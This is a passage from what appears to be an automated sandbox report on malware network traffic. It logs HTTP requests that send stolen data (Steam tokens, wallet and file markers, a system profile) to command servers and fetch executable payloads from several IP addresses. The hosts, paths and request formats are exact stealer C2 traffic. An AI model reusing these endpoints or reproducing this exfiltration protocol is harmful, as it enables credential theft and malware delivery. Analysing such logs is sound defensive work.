49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCBAEHCAEGDHJKFHJKFIContent-Disposition: form-data; name="file"------FCBAEHCAEGDHJKFHJKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFCAAEBGCAKKFIDBKJJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 43 41 41 45 42 47 43 41 4b 4b 46 49 44 42 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HCFCAAEBGCAKKFIDBKJJContent-Disposition: form-data; name="file"------HCFCAAEBGCAKKFIDBKJJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDBFIIECBGDGDGDHCAKHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="message"wallets------DBKKFHIEGDHJKECAAKKE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="message"files------BAEBGHCFCAAFIECAFIII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="file"------DBAEHCGHIIIDHIECFHJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="message"ybncbhylepme------BGCAFHCAKFBFIECAFIIJ--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 66 62 32 63 34 62 36 38 36 66 33 31 61 35 38 64 31 31 63 33 32 37 38 62 34 37 65 64 36 36 64 31 32 63 33 64 34 39 38 66 32 31 62 32 64 37 61 61 39 61 62 39 66 38 66 64 61 61 30 66 37 35 37 31 61 34 34 61 30 63 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"4fb2c4b686f31a58d11c3278b47ed66d12c3d498f21b2d7aa9ab9f8fdaa0f7571a44a0c1------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010353001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010354001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAFBGIJKEGIECAAFHDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 47 49 4a 4b 45 47 49 45 43 41 41 46 48 44 48 2d 2d 0d 0a Data Ascii: ------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------HDAFBGIJKEGIECAAFHDHContent-Disposition: form-data; name="build"drum------HDAFBGIJKEGIECAAFHDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010355001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010356001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCBKFBGIIIECAAAKFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 42 4b 46 42 47 49 49 49 45 43 41 41 41 4b 46 43 2d 2d 0d 0a Data Ascii: ------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------CBGCBKFBGIIIECAAAKFCContent-Disposition: form-data; name="build"drum------CBGCBKFBGIIIECAAAKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010357001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010358001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1Host: home.twentykx20pt.topAccept: /Content-Type: application/jsonContent-Length: 175127Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 30 36 32 36 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: GET /bugEWhhZIPIipxajeFfO1732855736?argument=YgANBjRDm57UcFhx1732906276 HTTP/1.1Host: home.twentykx20pt.topAccept: /
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 37 45 44 42 38 38 39 42 33 39 32 34 31 37 39 35 33 37 33 33 38 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="hwid"57EDB889B3924179537338------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="build"drum------IIEBGIDAAFHIJJJJEGCG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 33 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010359001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
